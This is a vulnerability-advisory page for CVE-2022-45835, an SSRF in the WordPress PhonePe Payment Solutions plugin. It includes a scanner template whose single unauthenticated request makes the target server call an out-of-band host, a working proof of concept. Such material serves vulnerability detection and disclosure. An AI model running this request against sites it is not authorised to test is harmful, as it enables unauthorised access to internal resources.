CVE-2022-45835: WordPress PhonePe Payment Solutions <=1.0.15 - Server-Side Request Forgery

2025-08-01 WordPress PhonePe Payment Solutions PoC Public

Description

WordPress PhonePe Payment Solutions plugin through 1.0.15 is susceptible to server-side request forgery. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC

id: CVE-2022-45835

info:
  name: WordPress PhonePe Payment Solutions <=1.0.15 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    WordPress PhonePe Payment Solutions plugin through 1.0.15 is susceptible to server-side request forgery. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to send arbitrary HTTP requests from the server, potentially leading to unauthorized access to internal resources or performing actions on behalf of the server.
  remediation: Fixed in version 2.0.0.
  reference:
    - https://patchstack.com/database/vulnerability/phonepe-payment-solutions/wordpress-phonepe-payment-solutions-plugin-1-0-15-server-side-request-forgery-ssrf
    - https://wordpress.org/plugins/phonepe-payment-solutions/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45835
    - https://patchstack.com/database/vulnerability/phonepe-payment-solutions/wordpress-phonepe-payment-solutions-plugin-1-0-15-server-side-request-forgery-ssrf?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-45835
    cwe-id: CWE-918
    epss-score: 0.37673
    epss-percentile: 0.98505
    cpe: cpe:2.3:a:phonepe:phonepe:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phonepe
    product: phonepe
    framework: wordpress
  tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,phonepe-payment-solutions,unauth,oast,phonepe,vkev,vuln

http:
  - raw:
      - |
        GET /?phonepe_action=curltestPhonePe&url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "cURL Test for PhonePe"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bb7baed1a55a1573bfb4ad46b33a861e1a5be4ccf6d02ef62aba6804e33ed0840221008df56ca9700754820569b0c34792c03bebfe06e854314c29a068d3f9c7838346:922c64590222798bb761d5b6d8e72950

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